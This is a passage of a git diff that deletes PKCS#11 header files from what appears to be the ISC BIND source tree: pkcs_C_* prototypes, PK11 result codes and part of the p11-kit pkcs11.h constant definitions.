-		   CK_SESSION_HANDLE_PTR phSession);
-
-CK_RV
-pkcs_C_CloseSession(CK_SESSION_HANDLE hSession);
-
-CK_RV
-pkcs_C_Login(CK_SESSION_HANDLE hSession, CK_USER_TYPE userType,
-	     CK_CHAR_PTR pPin, CK_ULONG usPinLen);
-
-CK_RV
-pkcs_C_Logout(CK_SESSION_HANDLE hSession);
-
-CK_RV
-pkcs_C_CreateObject(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate,
-		    CK_ULONG usCount, CK_OBJECT_HANDLE_PTR phObject);
-
-CK_RV
-pkcs_C_DestroyObject(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject);
-
-CK_RV
-pkcs_C_GetAttributeValue(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject,
-			 CK_ATTRIBUTE_PTR pTemplate, CK_ULONG usCount);
-
-CK_RV
-pkcs_C_SetAttributeValue(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject,
-			 CK_ATTRIBUTE_PTR pTemplate, CK_ULONG usCount);
-
-CK_RV
-pkcs_C_FindObjectsInit(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate,
-		       CK_ULONG usCount);
-
-CK_RV
-pkcs_C_FindObjects(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE_PTR phObject,
-		   CK_ULONG usMaxObjectCount, CK_ULONG_PTR pusObjectCount);
-
-CK_RV
-pkcs_C_FindObjectsFinal(CK_SESSION_HANDLE hSession);
-
-CK_RV
-pkcs_C_EncryptInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		   CK_OBJECT_HANDLE hKey);
-
-CK_RV
-pkcs_C_Encrypt(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData,
-	       CK_ULONG ulDataLen, CK_BYTE_PTR pEncryptedData,
-	       CK_ULONG_PTR pulEncryptedDataLen);
-
-CK_RV
-pkcs_C_DigestInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism);
-
-CK_RV
-pkcs_C_DigestUpdate(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart,
-		    CK_ULONG ulPartLen);
-
-CK_RV
-pkcs_C_DigestFinal(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pDigest,
-		   CK_ULONG_PTR pulDigestLen);
-
-CK_RV
-pkcs_C_SignInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		CK_OBJECT_HANDLE hKey);
-
-CK_RV
-pkcs_C_Sign(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen,
-	    CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen);
-
-CK_RV
-pkcs_C_SignUpdate(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart,
-		  CK_ULONG ulPartLen);
-
-CK_RV
-pkcs_C_SignFinal(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature,
-		 CK_ULONG_PTR pulSignatureLen);
-
-CK_RV
-pkcs_C_VerifyInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		  CK_OBJECT_HANDLE hKey);
-
-CK_RV
-pkcs_C_Verify(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen,
-	      CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen);
-
-CK_RV
-pkcs_C_VerifyUpdate(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart,
-		    CK_ULONG ulPartLen);
-
-CK_RV
-pkcs_C_VerifyFinal(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature,
-		   CK_ULONG ulSignatureLen);
-
-CK_RV
-pkcs_C_GenerateKey(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		   CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount,
-		   CK_OBJECT_HANDLE_PTR phKey);
-
-CK_RV
-pkcs_C_GenerateKeyPair(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		       CK_ATTRIBUTE_PTR	    pPublicKeyTemplate,
-		       CK_ULONG		    usPublicKeyAttributeCount,
-		       CK_ATTRIBUTE_PTR	    pPrivateKeyTemplate,
-		       CK_ULONG		    usPrivateKeyAttributeCount,
-		       CK_OBJECT_HANDLE_PTR phPrivateKey,
-		       CK_OBJECT_HANDLE_PTR phPublicKey);
-
-CK_RV
-pkcs_C_DeriveKey(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		 CK_OBJECT_HANDLE hBaseKey, CK_ATTRIBUTE_PTR pTemplate,
-		 CK_ULONG ulAttributeCount, CK_OBJECT_HANDLE_PTR phKey);
-
-CK_RV
-pkcs_C_SeedRandom(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSeed,
-		  CK_ULONG ulSeedLen);
-
-CK_RV
-pkcs_C_GenerateRandom(CK_SESSION_HANDLE hSession, CK_BYTE_PTR RandomData,
-		      CK_ULONG ulRandomLen);
-
-ISC_LANG_ENDDECLS
diff --git a/lib/isc/include/pk11/result.h b/lib/isc/include/pk11/result.h
deleted file mode 100644
index 6b16ae6d50..0000000000
--- a/lib/isc/include/pk11/result.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef PK11_RESULT_H
-#define PK11_RESULT_H 1
-
-/*! \file pk11/result.h */
-
-#include <isc/lang.h>
-#include <isc/resultclass.h>
-#include <isc/types.h>
-
-/*
- * Nothing in this file truly depends on <isc/result.h>, but the
- * PK11 result codes are considered to be publicly derived from
- * the ISC result codes, so including this file buys you the ISC_R_
- * namespace too.
- */
-#include <isc/result.h> /* Contractual promise. */
-
-#define PK11_R_INITFAILED      (ISC_RESULTCLASS_PK11 + 0)
-#define PK11_R_NOPROVIDER      (ISC_RESULTCLASS_PK11 + 1)
-#define PK11_R_NORANDOMSERVICE (ISC_RESULTCLASS_PK11 + 2)
-#define PK11_R_NODIGESTSERVICE (ISC_RESULTCLASS_PK11 + 3)
-#define PK11_R_NOAESSERVICE    (ISC_RESULTCLASS_PK11 + 4)
-
-#define PK11_R_NRESULTS 5 /* Number of results */
-
-ISC_LANG_BEGINDECLS
-
-const char *pk11_result_totext(isc_result_t);
-
-void
-pk11_result_register(void);
-
-ISC_LANG_ENDDECLS
-
-#endif /* PK11_RESULT_H */
diff --git a/lib/isc/include/pk11/site.h b/lib/isc/include/pk11/site.h
deleted file mode 100644
index 95f7e9d1a1..0000000000
--- a/lib/isc/include/pk11/site.h
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-/*! \file pk11/site.h */
diff --git a/lib/isc/include/pkcs11/pkcs11.h b/lib/isc/include/pkcs11/pkcs11.h
deleted file mode 100644
index cd565ee64f..0000000000
--- a/lib/isc/include/pkcs11/pkcs11.h
+++ /dev/null
@@ -1,1653 +0,0 @@
-/* pkcs11.h
- * Copyright 2006, 2007 g10 Code GmbH
- * Copyright 2006 Andreas Jellinghaus
- * Copyright 2017 Red Hat, Inc.
- *
- * This file is free software; as a special exception the author gives
- * unlimited permission to copy and/or distribute it, with or without
- * modifications, as long as this notice is preserved.
- *
- * This file is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY, to the extent permitted by law; without even
- * the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
- * PURPOSE.  */
-
-/* Please submit any changes back to the p11-kit project at
- * https://github.com/p11-glue/p11-kit/, so that
- * they can be picked up by other projects from there as well.  */
-
-/* This file is a modified implementation of the PKCS #11 standard by
- * OASIS group.  It is mostly a drop-in replacement, with the
- * following change:
- *
- * This header file does not require any macro definitions by the user
- * (like CK_DEFINE_FUNCTION etc).  In fact, it defines those macros
- * for you (if useful, some are missing, let me know if you need
- * more).
- *
- * There is an additional API available that does comply better to the
- * GNU coding standard.  It can be switched on by defining
- * CRYPTOKI_GNU before including this header file.  For this, the
- * following changes are made to the specification:
- *
- * All structure types are changed to a "struct ck_foo" where CK_FOO
- * is the type name in PKCS #11.
- *
- * All non-structure types are changed to ck_foo_t where CK_FOO is the
- * lowercase version of the type name in PKCS #11.  The basic types
- * (CK_ULONG et al.) are removed without substitute.
- *
- * All members of structures are modified in the following way: Type
- * indication prefixes are removed, and underscore characters are
- * inserted before words.  Then the result is lowercased.
- *
- * Note that function names are still in the original case, as they
- * need for ABI compatibility.
- *
- * CK_FALSE, CK_TRUE and NULL_PTR are removed without substitute.  Use
- * <stdbool.h>.
- *
- * If CRYPTOKI_COMPAT is defined before including this header file,
- * then none of the API changes above take place, and the API is the
- * one defined by the PKCS #11 standard.  */
-
-#ifndef PKCS11_H
-#define PKCS11_H 1
-
-#if defined(__cplusplus)
-extern "C" {
-#endif /* if defined(__cplusplus) */
-
-/* The version of cryptoki we implement.  The revision is changed with
- * each modification of this file.  */
-#define CRYPTOKI_VERSION_MAJOR		  2
-#define CRYPTOKI_VERSION_MINOR		  40
-#define P11_KIT_CRYPTOKI_VERSION_REVISION 0
-
-/* Compatibility interface is default, unless CRYPTOKI_GNU is
- * given.  */
-#ifndef CRYPTOKI_GNU
-#ifndef CRYPTOKI_COMPAT
-#define CRYPTOKI_COMPAT 1
-#endif /* ifndef CRYPTOKI_COMPAT */
-#endif /* ifndef CRYPTOKI_GNU */
-
-/* System dependencies.  */
-
-#if defined(_WIN32) || defined(CRYPTOKI_FORCE_WIN32)
-
-/* There is a matching pop below.  */
-#pragma pack(push, cryptoki, 1)
-
-#ifdef CRYPTOKI_EXPORTS
-#define CK_SPEC __declspec(dllexport)
-#else /* ifdef CRYPTOKI_EXPORTS */
-#define CK_SPEC __declspec(dllimport)
-#endif /* ifdef CRYPTOKI_EXPORTS */
-
-#else /* if defined(_WIN32) || defined(CRYPTOKI_FORCE_WIN32) */
-
-#define CK_SPEC
-
-#endif /* if defined(_WIN32) || defined(CRYPTOKI_FORCE_WIN32) */
-
-#ifdef CRYPTOKI_COMPAT
-/* If we are in compatibility mode, switch all exposed names to the
- * PKCS #11 variant.  There are corresponding #undefs below.  */
-
-#define ck_flags_t CK_FLAGS
-#define ck_version _CK_VERSION
-
-#define ck_info		    _CK_INFO
-#define cryptoki_version    cryptokiVersion
-#define manufacturer_id	    manufacturerID
-#define library_description libraryDescription
-#define library_version	    libraryVersion
-
-#define ck_notification_t CK_NOTIFICATION
-#define ck_slot_id_t	  CK_SLOT_ID
-
-#define ck_slot_info	 _CK_SLOT_INFO
-#define slot_description slotDescription
-#define hardware_version hardwareVersion
-#define firmware_version firmwareVersion
-
-#define ck_token_info	     _CK_TOKEN_INFO
-#define serial_number	     serialNumber
-#define max_session_count    ulMaxSessionCount
-#define session_count	     ulSessionCount
-#define max_rw_session_count ulMaxRwSessionCount
-#define rw_session_count     ulRwSessionCount
-#define max_pin_len	     ulMaxPinLen
-#define min_pin_len	     ulMinPinLen
-#define total_public_memory  ulTotalPublicMemory
-#define free_public_memory   ulFreePublicMemory
-#define total_private_memory ulTotalPrivateMemory
-#define free_private_memory  ulFreePrivateMemory
-#define utc_time	     utcTime
-
-#define ck_session_handle_t CK_SESSION_HANDLE
-#define ck_user_type_t	    CK_USER_TYPE
-#define ck_state_t	    CK_STATE
-
-#define ck_session_info _CK_SESSION_INFO
-#define slot_id		slotID
-#define device_error	ulDeviceError
-
-#define ck_object_handle_t    CK_OBJECT_HANDLE
-#define ck_object_class_t     CK_OBJECT_CLASS
-#define ck_hw_feature_type_t  CK_HW_FEATURE_TYPE
-#define ck_key_type_t	      CK_KEY_TYPE
-#define ck_certificate_type_t CK_CERTIFICATE_TYPE
-#define ck_attribute_type_t   CK_ATTRIBUTE_TYPE
-
-#define ck_attribute _CK_ATTRIBUTE
-#define value	     pValue
-#define value_len    ulValueLen
-
-#define count ulCount
-
-#define ck_date _CK_DATE
-
-#define ck_mechanism_type_t CK_MECHANISM_TYPE
-
-#define ck_mechanism  _CK_MECHANISM
-#define parameter     pParameter
-#define parameter_len ulParameterLen
-
-#define params pParams
-
-#define ck_mechanism_info _CK_MECHANISM_INFO
-#define min_key_size	  ulMinKeySize
-#define max_key_size	  ulMaxKeySize
-
-#define ck_param_type	      CK_PARAM_TYPE
-#define ck_otp_param	      CK_OTP_PARAM
-#define ck_otp_params	      CK_OTP_PARAMS
-#define ck_otp_signature_info CK_OTP_SIGNATURE_INFO
-
-#define ck_rv_t	    CK_RV
-#define ck_notify_t CK_NOTIFY
-
-#define ck_function_list _CK_FUNCTION_LIST
-
-#define ck_createmutex_t  CK_CREATEMUTEX
-#define ck_destroymutex_t CK_DESTROYMUTEX
-#define ck_lockmutex_t	  CK_LOCKMUTEX
-#define ck_unlockmutex_t  CK_UNLOCKMUTEX
-
-#define ck_c_initialize_args _CK_C_INITIALIZE_ARGS
-#define create_mutex	     CreateMutex
-#define destroy_mutex	     DestroyMutex
-#define lock_mutex	     LockMutex
-#define unlock_mutex	     UnlockMutex
-#define reserved	     pReserved
-
-#define ck_rsa_pkcs_mgf_type_t	       CK_RSA_PKCS_MGF_TYPE
-#define ck_rsa_pkcs_oaep_source_type_t CK_RSA_PKCS_OAEP_SOURCE_TYPE
-#define hash_alg		       hashAlg
-#define s_len			       sLen
-#define source_data		       pSourceData
-#define source_data_len		       ulSourceDataLen
-
-#define counter_bits	ulCounterBits
-#define iv_ptr		pIv
-#define iv_len		ulIvLen
-#define iv_bits		ulIvBits
-#define aad_ptr		pAAD
-#define aad_len		ulAADLen
-#define tag_bits	ulTagBits
-#define shared_data_len ulSharedDataLen
-#define shared_data	pSharedData
-#define public_data_len ulPublicDataLen
-#define public_data	pPublicData
-#define string_data	pData
-#define string_data_len ulLen
-#define data_params	pData
-#endif /* CRYPTOKI_COMPAT */
-
-typedef unsigned long ck_flags_t;
-
-struct ck_version {
-	unsigned char major;
-	unsigned char minor;
-};
-
-struct ck_info {
-	struct ck_version cryptoki_version;
-	unsigned char	  manufacturer_id[32];
-	ck_flags_t	  flags;
-	unsigned char	  library_description[32];
-	struct ck_version library_version;
-};
-
-typedef unsigned long ck_notification_t;
-
-#define CKN_SURRENDER (0UL)
-
-typedef unsigned long ck_slot_id_t;
-
-struct ck_slot_info {
-	unsigned char	  slot_description[64];
-	unsigned char	  manufacturer_id[32];
-	ck_flags_t	  flags;
-	struct ck_version hardware_version;
-	struct ck_version firmware_version;
-};
-
-#define CKF_TOKEN_PRESENT    (1UL << 0)
-#define CKF_REMOVABLE_DEVICE (1UL << 1)
-#define CKF_HW_SLOT	     (1UL << 2)
-#define CKF_ARRAY_ATTRIBUTE  (1UL << 30)
-
-struct ck_token_info {
-	unsigned char	  label[32];
-	unsigned char	  manufacturer_id[32];
-	unsigned char	  model[16];
-	unsigned char	  serial_number[16];
-	ck_flags_t	  flags;
-	unsigned long	  max_session_count;
-	unsigned long	  session_count;
-	unsigned long	  max_rw_session_count;
-	unsigned long	  rw_session_count;
-	unsigned long	  max_pin_len;
-	unsigned long	  min_pin_len;
-	unsigned long	  total_public_memory;
-	unsigned long	  free_public_memory;
-	unsigned long	  total_private_memory;
-	unsigned long	  free_private_memory;
-	struct ck_version hardware_version;
-	struct ck_version firmware_version;
-	unsigned char	  utc_time[16];
-};
-
-#define CKF_RNG				  (1UL << 0)
-#define CKF_WRITE_PROTECTED		  (1UL << 1)
-#define CKF_LOGIN_REQUIRED		  (1UL << 2)
-#define CKF_USER_PIN_INITIALIZED	  (1UL << 3)
-#define CKF_RESTORE_KEY_NOT_NEEDED	  (1UL << 5)
-#define CKF_CLOCK_ON_TOKEN		  (1UL << 6)
-#define CKF_PROTECTED_AUTHENTICATION_PATH (1UL << 8)
-#define CKF_DUAL_CRYPTO_OPERATIONS	  (1UL << 9)
-#define CKF_TOKEN_INITIALIZED		  (1UL << 10)
-#define CKF_SECONDARY_AUTHENTICATION	  (1UL << 11)
-#define CKF_USER_PIN_COUNT_LOW		  (1UL << 16)
-#define CKF_USER_PIN_FINAL_TRY		  (1UL << 17)
-#define CKF_USER_PIN_LOCKED		  (1UL << 18)
-#define CKF_USER_PIN_TO_BE_CHANGED	  (1UL << 19)
-#define CKF_SO_PIN_COUNT_LOW		  (1UL << 20)
-#define CKF_SO_PIN_FINAL_TRY		  (1UL << 21)
-#define CKF_SO_PIN_LOCKED		  (1UL << 22)
-#define CKF_SO_PIN_TO_BE_CHANGED	  (1UL << 23)
-
-#define CK_UNAVAILABLE_INFORMATION ((unsigned long)-1L)
-#define CK_EFFECTIVELY_INFINITE	   (0UL)
-
-typedef unsigned long ck_session_handle_t;
-
-#define CK_INVALID_HANDLE (0UL)
-
-typedef unsigned long ck_user_type_t;
-
-#define CKU_SO		     (0UL)
-#define CKU_USER	     (1UL)
-#define CKU_CONTEXT_SPECIFIC (2UL)
-
-typedef unsigned long ck_state_t;
-
-#define CKS_RO_PUBLIC_SESSION (0UL)
-#define CKS_RO_USER_FUNCTIONS (1UL)
-#define CKS_RW_PUBLIC_SESSION (2UL)
-#define CKS_RW_USER_FUNCTIONS (3UL)
-#define CKS_RW_SO_FUNCTIONS   (4UL)
-
-struct ck_session_info {
-	ck_slot_id_t  slot_id;
-	ck_state_t    state;
-	ck_flags_t    flags;
-	unsigned long device_error;
-};
-
-#define CKF_RW_SESSION	   (1UL << 1)
-#define CKF_SERIAL_SESSION (1UL << 2)
-
-typedef unsigned long ck_object_handle_t;
-
-typedef unsigned long ck_object_class_t;
-
-#define CKO_DATA	      (0UL)
-#define CKO_CERTIFICATE	      (1UL)
-#define CKO_PUBLIC_KEY	      (2UL)
-#define CKO_PRIVATE_KEY	      (3UL)
-#define CKO_SECRET_KEY	      (4UL)
-#define CKO_HW_FEATURE	      (5UL)
-#define CKO_DOMAIN_PARAMETERS (6UL)
-#define CKO_MECHANISM	      (7UL)
-#define CKO_OTP_KEY	      (8UL)
-#define CKO_VENDOR_DEFINED    ((unsigned long)(1UL << 31))
-
-typedef unsigned long ck_hw_feature_type_t;
-
-#define CKH_MONOTONIC_COUNTER (1UL)
-#define CKH_CLOCK	      (2UL)
-#define CKH_USER_INTERFACE    (3UL)
-#define CKH_VENDOR_DEFINED    ((unsigned long)(1UL << 31))
-
-typedef unsigned long ck_key_type_t;
-
-#define CKK_RSA		   (0UL)
-#define CKK_DSA		   (1UL)
-#define CKK_DH		   (2UL)
-#define CKK_ECDSA	   (3UL)
-#define CKK_EC		   (3UL)
-#define CKK_X9_42_DH	   (4UL)
-#define CKK_KEA		   (5UL)
-#define CKK_GENERIC_SECRET (0x10UL)
-#define CKK_RC2		   (0x11UL)
-#define CKK_RC4		   (0x12UL)
-#define CKK_DES		   (0x13UL)
-#define CKK_DES2	   (0x14UL)
-#define CKK_DES3	   (0x15UL)
-#define CKK_CAST	   (0x16UL)
-#define CKK_CAST3	   (0x17UL)
-#define CKK_CAST128	   (0x18UL)
-#define CKK_RC5		   (0x19UL)
-#define CKK_IDEA	   (0x1aUL)
-#define CKK_SKIPJACK	   (0x1bUL)
-#define CKK_BATON	   (0x1cUL)
-#define CKK_JUNIPER	   (0x1dUL)
-#define CKK_CDMF	   (0x1eUL)
-#define CKK_AES		   (0x1fUL)
-#define CKK_BLOWFISH	   (0x20UL)
-#define CKK_TWOFISH	   (0x21UL)
-#define CKK_SECURID	   (0x22UL)
-#define CKK_HOTP	   (0x23UL)
-#define CKK_ACTI	   (0x24UL)
-#define CKK_CAMELLIA	   (0x25UL)
-#define CKK_ARIA	   (0x26UL)
-#define CKK_MD5_HMAC	   (0x27UL)
-#define CKK_SHA_1_HMAC	   (0x28UL)
-#define CKK_RIPEMD128_HMAC (0x29UL)
-#define CKK_RIPEMD160_HMAC (0x2aUL)
-#define CKK_SHA256_HMAC	   (0x2bUL)
-#define CKK_SHA384_HMAC	   (0x2cUL)
-#define CKK_SHA512_HMAC	   (0x2dUL)
-#define CKK_SHA224_HMAC	   (0x2eUL)
-#define CKK_SEED	   (0x2fUL)
-#define CKK_GOSTR3410	   (0x30UL)
-#define CKK_GOSTR3411	   (0x31UL)
-#define CKK_GOST28147	   (0x32UL)
-#define CKK_EC_EDWARDS	   (0x40UL)
-#define CKK_VENDOR_DEFINED ((unsigned long)(1UL << 31))
-
-typedef unsigned long ck_certificate_type_t;
-
-#define CKC_X_509	    (0UL)
-#define CKC_X_509_ATTR_CERT (1UL)
-#define CKC_WTLS	    (2UL)
-#define CKC_VENDOR_DEFINED  ((unsigned long)(1UL << 31))
-
-#define CKC_OPENPGP (CKC_VENDOR_DEFINED | 0x504750UL)
-
-typedef unsigned long ck_attribute_type_t;
-
-#define CKA_CLASS		       (0UL)
-#define CKA_TOKEN		       (1UL)
-#define CKA_PRIVATE		       (2UL)
-#define CKA_LABEL		       (3UL)
-#define CKA_APPLICATION		       (0x10UL)
-#define CKA_VALUE		       (0x11UL)
-#define CKA_OBJECT_ID		       (0x12UL)
-#define CKA_CERTIFICATE_TYPE	       (0x80UL)
-#define CKA_ISSUER		       (0x81UL)
-#define CKA_SERIAL_NUMBER	       (0x82UL)
-#define CKA_AC_ISSUER		       (0x83UL)
-#define CKA_OWNER		       (0x84UL)
-#define CKA_ATTR_TYPES		       (0x85UL)
-#define CKA_TRUSTED		       (0x86UL)
-#define CKA_CERTIFICATE_CATEGORY       (0x87UL)
-#define CKA_JAVA_MIDP_SECURITY_DOMAIN  (0x88UL)
-#define CKA_URL			       (0x89UL)
-#define CKA_HASH_OF_SUBJECT_PUBLIC_KEY (0x8aUL)
-#define CKA_HASH_OF_ISSUER_PUBLIC_KEY  (0x8bUL)
-#define CKA_NAME_HASH_ALGORITHM	       (0x8cUL)
-#define CKA_CHECK_VALUE		       (0x90UL)
-#define CKA_KEY_TYPE		       (0x100UL)
-#define CKA_SUBJECT		       (0x101UL)
-#define CKA_ID			       (0x102UL)
-#define CKA_SENSITIVE		       (0x103UL)
-#define CKA_ENCRYPT		       (0x104UL)
-#define CKA_DECRYPT		       (0x105UL)
-#define CKA_WRAP		       (0x106UL)
-#define CKA_UNWRAP		       (0x107UL)
-#define CKA_SIGN		       (0x108UL)
-#define CKA_SIGN_RECOVER	       (0x109UL)
-#define CKA_VERIFY		       (0x10aUL)
-#define CKA_VERIFY_RECOVER	       (0x10bUL)
-#define CKA_DERIVE		       (0x10cUL)
-#define CKA_START_DATE		       (0x110UL)
-#define CKA_END_DATE		       (0x111UL)
-#define CKA_MODULUS		       (0x120UL)
-#define CKA_MODULUS_BITS	       (0x121UL)
-#define CKA_PUBLIC_EXPONENT	       (0x122UL)
-#define CKA_PRIVATE_EXPONENT	       (0x123UL)
-#define CKA_PRIME_1		       (0x124UL)
-#define CKA_PRIME_2		       (0x125UL)
-#define CKA_EXPONENT_1		       (0x126UL)
-#define CKA_EXPONENT_2		       (0x127UL)
-#define CKA_COEFFICIENT		       (0x128UL)
-#define CKA_PUBLIC_KEY_INFO	       (0x129UL)
-#define CKA_PRIME		       (0x130UL)
-#define CKA_SUBPRIME		       (0x131UL)
-#define CKA_BASE		       (0x132UL)
-#define CKA_PRIME_BITS		       (0x133UL)
-#define CKA_SUB_PRIME_BITS	       (0x134UL)
-#define CKA_VALUE_BITS		       (0x160UL)
-#define CKA_VALUE_LEN		       (0x161UL)
-#define CKA_EXTRACTABLE		       (0x162UL)
-#define CKA_LOCAL		       (0x163UL)
-#define CKA_NEVER_EXTRACTABLE	       (0x164UL)
-#define CKA_ALWAYS_SENSITIVE	       (0x165UL)
-#define CKA_KEY_GEN_MECHANISM	       (0x166UL)
-#define CKA_MODIFIABLE		       (0x170UL)
-#define CKA_COPYABLE		       (0x171UL)
-#define CKA_DESTROYABLE		       (0x172UL)
-#define CKA_ECDSA_PARAMS	       (0x180UL)
-#define CKA_EC_PARAMS		       (0x180UL)
-#define CKA_EC_POINT		       (0x181UL)
-#define CKA_SECONDARY_AUTH	       (0x200UL)
-#define CKA_AUTH_PIN_FLAGS	       (0x201UL)
-#define CKA_ALWAYS_AUTHENTICATE	       (0x202UL)
-#define CKA_WRAP_WITH_TRUSTED	       (0x210UL)
-#define CKA_OTP_FORMAT		       (0x220UL)
-#define CKA_OTP_LENGTH		       (0x221UL)
-#define CKA_OTP_TIME_INTERVAL	       (0x222UL)
-#define CKA_OTP_USER_FRIENDLY_MODE     (0x223UL)
-#define CKA_OTP_CHALLENGE_REQUIREMENT  (0x224UL)
-#define CKA_OTP_TIME_REQUIREMENT       (0x225UL)
-#define CKA_OTP_COUNTER_REQUIREMENT    (0x226UL)
-#define CKA_OTP_PIN_REQUIREMENT	       (0x227UL)
-#define CKA_OTP_USER_IDENTIFIER	       (0x22AUL)
-#define CKA_OTP_SERVICE_IDENTIFIER     (0x22BUL)
-#define CKA_OTP_SERVICE_LOGO	       (0x22CUL)
-#define CKA_OTP_SERVICE_LOGO_TYPE      (0x22DUL)
-#define CKA_OTP_COUNTER		       (0x22EUL)
-#define CKA_OTP_TIME		       (0x22FUL)
-#define CKA_GOSTR3410_PARAMS	       (0x250UL)
-#define CKA_GOSTR3411_PARAMS	       (0x251UL)
-#define CKA_GOST28147_PARAMS	       (0x252UL)
-#define CKA_HW_FEATURE_TYPE	       (0x300UL)
-#define CKA_RESET_ON_INIT	       (0x301UL)
-#define CKA_HAS_RESET		       (0x302UL)
-#define CKA_PIXEL_X		       (0x400UL)
-#define CKA_PIXEL_Y		       (0x401UL)
-#define CKA_RESOLUTION		       (0x402UL)
-#define CKA_CHAR_ROWS		       (0x403UL)
-#define CKA_CHAR_COLUMNS	       (0x404UL)
-#define CKA_COLOR		       (0x405UL)
-#define CKA_BITS_PER_PIXEL	       (0x406UL)
-#define CKA_CHAR_SETS		       (0x480UL)
-#define CKA_ENCODING_METHODS	       (0x481UL)
-#define CKA_MIME_TYPES		       (0x482UL)
-#define CKA_MECHANISM_TYPE	       (0x500UL)
-#define CKA_REQUIRED_CMS_ATTRIBUTES    (0x501UL)
-#define CKA_DEFAULT_CMS_ATTRIBUTES     (0x502UL)
-#define CKA_SUPPORTED_CMS_ATTRIBUTES   (0x503UL)
-#define CKA_WRAP_TEMPLATE	       (CKF_ARRAY_ATTRIBUTE | 0x211UL)
-#define CKA_UNWRAP_TEMPLATE	       (CKF_ARRAY_ATTRIBUTE | 0x212UL)
-#define CKA_DERIVE_TEMPLATE	       (CKF_ARRAY_ATTRIBUTE | 0x213UL)
-#define CKA_ALLOWED_MECHANISMS	       (CKF_ARRAY_ATTRIBUTE | 0x600UL)
-#define CKA_VENDOR_DEFINED	       ((unsigned long)(1UL << 31))
-
-struct ck_attribute {
-	ck_attribute_type_t type;
-	void *		    value;
-	unsigned long	    value_len;
-};
-
-struct ck_date {
-	unsigned char year[4];
-	unsigned char month[2];
-	unsigned char day[2];
-};
-
-typedef unsigned long ck_mechanism_type_t;
-
-#define CKM_RSA_PKCS_KEY_PAIR_GEN	   (0UL)
-#define CKM_RSA_PKCS			   (1UL)
-#define CKM_RSA_9796			   (2UL)
-#define CKM_RSA_X_509			   (3UL)
-#define CKM_MD2_RSA_PKCS		   (4UL)
-#define CKM_MD5_RSA_PKCS		   (5UL)
-#define CKM_SHA1_RSA_PKCS		   (6UL)
-#define CKM_RIPEMD128_RSA_PKCS		   (7UL)
-#define CKM_RIPEMD160_RSA_PKCS		   (8UL)
-#define CKM_RSA_PKCS_OAEP		   (9UL)
-#define CKM_RSA_X9_31_KEY_PAIR_GEN	   (0xaUL)
-#define CKM_RSA_X9_31			   (0xbUL)
-#define CKM_SHA1_RSA_X9_31		   (0xcUL)
-#define CKM_RSA_PKCS_PSS		   (0xdUL)
-#define CKM_SHA1_RSA_PKCS_PSS		   (0xeUL)
-#define CKM_DSA_KEY_PAIR_GEN		   (0x10UL)
-#define CKM_DSA				   (0x11UL)
-#define CKM_DSA_SHA1			   (0x12UL)
-#define CKM_DSA_SHA224			   (0x13UL)
-#define CKM_DSA_SHA256			   (0x14UL)
-#define CKM_DSA_SHA384			   (0x15UL)
-#define CKM_DSA_SHA512			   (0x16UL)
-#define CKM_DH_PKCS_KEY_PAIR_GEN	   (0x20UL)
-#define CKM_DH_PKCS_DERIVE		   (0x21UL)
-#define CKM_X9_42_DH_KEY_PAIR_GEN	   (0x30UL)
-#define CKM_X9_42_DH_DERIVE		   (0x31UL)
-#define CKM_X9_42_DH_HYBRID_DERIVE	   (0x32UL)
-#define CKM_X9_42_MQV_DERIVE		   (0x33UL)
-#define CKM_SHA256_RSA_PKCS		   (0x40UL)
-#define CKM_SHA384_RSA_PKCS		   (0x41UL)
-#define CKM_SHA512_RSA_PKCS		   (0x42UL)
-#define CKM_SHA256_RSA_PKCS_PSS		   (0x43UL)
-#define CKM_SHA384_RSA_PKCS_PSS		   (0x44UL)
-#define CKM_SHA512_RSA_PKCS_PSS		   (0x45UL)
-#define CKM_SHA512_224			   (0x48UL)
-#define CKM_SHA512_224_HMAC		   (0x49UL)
-#define CKM_SHA512_224_HMAC_GENERAL	   (0x4aUL)
-#define CKM_SHA512_224_KEY_DERIVATION	   (0x4bUL)
-#define CKM_SHA512_256			   (0x4cUL)
-#define CKM_SHA512_256_HMAC		   (0x4dUL)
